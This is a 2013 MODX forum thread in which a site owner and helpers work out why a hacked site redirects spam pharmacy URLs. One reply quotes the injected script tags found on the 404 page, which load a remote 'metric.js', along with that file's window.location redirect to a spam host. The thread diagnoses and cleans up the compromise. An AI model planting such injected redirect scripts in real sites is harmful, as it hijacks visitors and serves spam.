Hacked website

Does this have something to do with the rewrite rules in the .htaccess file

Options +SymLinksIfOwnerMatch
RewriteEngine On
RewriteBase /

# Fix Apache internal dummy connections from breaking [(site_url)] cache
RewriteCond %{HTTP_USER_AGENT} ^.*internal\ dummy\ connection.*$ [NC]
RewriteRule .* - [F,L]

# Rewrite domain.com -> www.domain.com -- used with SEO Strict URLs plugin
#RewriteCond %{HTTP_HOST} .
#RewriteCond %{HTTP_HOST} !^www\.example\.com [NC]
#RewriteRule (.*) http://www.example.com/$1 [R=301,L]

RewriteRule ^contact.php$ /contact-us [R=301,L]
RewriteRule ^how_we_work.php$ /about-us/facts-and-figures [R=301,L]
RewriteRule ^contributors.php$ /our-publications/contributors [R=301,L]
RewriteRule ^associations.php$ /our-clients/client-list [R=301,L]
RewriteRule ^testimonials.php(.*)$ /our-clients/testimonials [R=301,L]
RewriteRule ^pub_title.php$ /our-publications/archive [R=301,L]
RewriteRule ^index$ / [R=301,L]

# Exclude /assets and /manager directories and images from rewrite rules
RewriteRule ^(manager|assets)/*$ - [L]
RewriteRule \.(jpg|jpeg|png|gif|ico)$ - [L]

# For Friendly URLs
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?q=$1 [L,QSA,NC]


Quote from: [email protected] at May 08, 2013, 12:21 PM

Hi Dan

I feel like I'm getting closer to the answer now thanks to this insight.

When I search in Google then the link appears as
https://www.google.co.uk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&ved=0CDAQFjAA&url=http%3A%2F%2Fwww.lyonsdown.co.uk%2Fbuy-viagra-uk-online.html&ei=JoiKUeXNJoa9PevxgYAF&usg=AFQjCNEcGfADn19KBY5OZabe8oAySFqmHw&bvm=bv.46226182,d.ZWU

How do check in modx if there is a redirect script or limit requests to our domain?



Quote from: absent42 at May 08, 2013, 12:12 PM

Quote from: [email protected] at May 08, 2013, 04:23 AM

Do you know how these are being spoofed and how to check or stop this?

Usually the url for a redirect will be something like http://yourdomain.com/redirect.php?url=http://theothersite.com

This generates a page with an offsite redirect, these are then submitted to link sites to be crawled by search engines. This is the way blackhat SEO people create .gov backlinks.

Best way to stop it is not to use a redirect script, or us one that will only accept post requests from within your own domain.

Yup, it's definitely a redirect script somewhere.

I can find links on the web like

Do you have any redirect code in your htaccess file? Also are are redirector packages installed in MODX?

Sticking the above URL into a rest client, you site is actually actually serving up a 404 error page but then somehow redirecting to the viagra site.

A random page does bring up the proper 404 page so these urls are being specifically redirected somehow. [ed. note: absent42 last edited this post 13 years, 5 months ago.]

Could you send an example of redirect code in the htaccess file which i've posted above as I don't know what I'm looking for. Would a redirect script be a javascript file?





Quote from: absent42 at May 08, 2013, 01:13 PM

Yup, it's definitely a redirect script somewhere.

I can find links on the web like

http://www.lyonsdown.co.uk/order-kamagra-uk.html

Do you have any redirect code in your htaccess file? Also are are redirector packages installed in MODX?

Sticking the above URL into a rest client, you site is actually actually serving up a 404 error page but then somehow redirecting to the viagra site.

A random page does bring up the proper 404 page so these urls are being specifically redirected somehow.

i've noticed there is a line in htaccess file that says

RewriteEngine On

If I Change this to off then would the rewrites stop?

Quote from: [email protected] at May 08, 2013, 05:51 PM

Could you send an example of redirect code in the htaccess file which i've posted above as I don't know what I'm looking for. Would a redirect script be a javascript file?





Quote from: absent42 at May 08, 2013, 01:13 PM

Yup, it's definitely a redirect script somewhere.

I can find links on the web like

http://www.lyonsdown.co.uk/order-kamagra-uk.html

Do you have any redirect code in your htaccess file? Also are are redirector packages installed in MODX?

Sticking the above URL into a rest client, you site is actually actually serving up a 404 error page but then somehow redirecting to the viagra site.

A random page does bring up the proper 404 page so these urls are being specifically redirected somehow.

Rewrites including the ones you need for Friendly URLs would stop!
:o KP

I figured that it would stop rewrites for the friendly ones too but do not know how to find the js script that is causing the rewrites or how to remove them. Any ideas?

Looking at the code for your 404 page, your menus on the top are inserting the missing page url as a link in the 'About us', 'Our services' 'Publications' and 'Our Clients' menus. So the order-kamagra-uk.html is generating links to lyonsdown.co.uk/order-kamagra-uk.html So first off, remove the code in the (I assume) Wayfinder menu template that adds the current page url to the top level drop down menus.

The lines are coming out:
[ed. note: absent42 last edited this post 13 years, 5 months ago.]

Looking further at the 404 page code, there appears to be some dodgy javascript right at the top of the page:



Opening that file gives the output:



So I guess this is the code that's redirecting.

It only appears to be on the 404 page so have a look at the 404 template and remove those lines of code and delete the metric.js file (assuming it's not used elsewhere on the site).

Then, change all the MODX, FTP, Shell etc passwords. [ed. note: absent42 last edited this post 13 years, 5 months ago.]

I'm really sorry but I cannot see any javascript in the 404 page code. But maybe I am looking in the wrong place.

Where do I find the 404 page code?

I've been looking under Elements but perhaps I need to login to the server. Any ideas how to find it?

The 404 page on elements contains this:

[[Wayfinder? &startId=`0` &config=`sitemap`]]



Quote from: absent42 at May 09, 2013, 07:44 AM

Looking further at the 404 page code, there appears to be some dodgy javascript right at the top of the page:

<script type="text/javascript" src="ht(*breaking link*)tp://www.lyons(*breaking link*)down.co.uk/?getjs=metric.js"></script>
<script type="text/javascript">var j1s = document.createElement('script');j1s.type = 'text/javascript';j1s.src = 'ht(*breaking link*)tp://www.lyons(*breaking link*)down.co.uk/?getjs=metric.js';var h1ead = document.getElementsByTagName('head')[0];h1ead.appendChild(j1s);</script>

Opening that file gives the output:

window.location = 'ht(*breaking link*)tp://tds.cigarettes(*breaking link*)cheap.net/go.php?sid=1';

So I guess this is the code that's redirecting.

It only appears to be on the 404 page so have a look at the 404 template and remove those lines of code and delete the metric.js file (assuming it's not used elsewhere on the site).

Then, change all the MODX, FTP, Shell etc passwords.

If you're using Chrome, install this: https://chrome.google.com/webstore/detail/advanced-rest-client/hgmloofddffdnphfgcellkdfbfbjeloo

Enter one of the span URLs and have a look at the code that's being outputted, lines 3 & 4 are the javascript redirect that's being injected into the spam pages somehow.

There's something on your server (probably not even in MODX) that's doing this.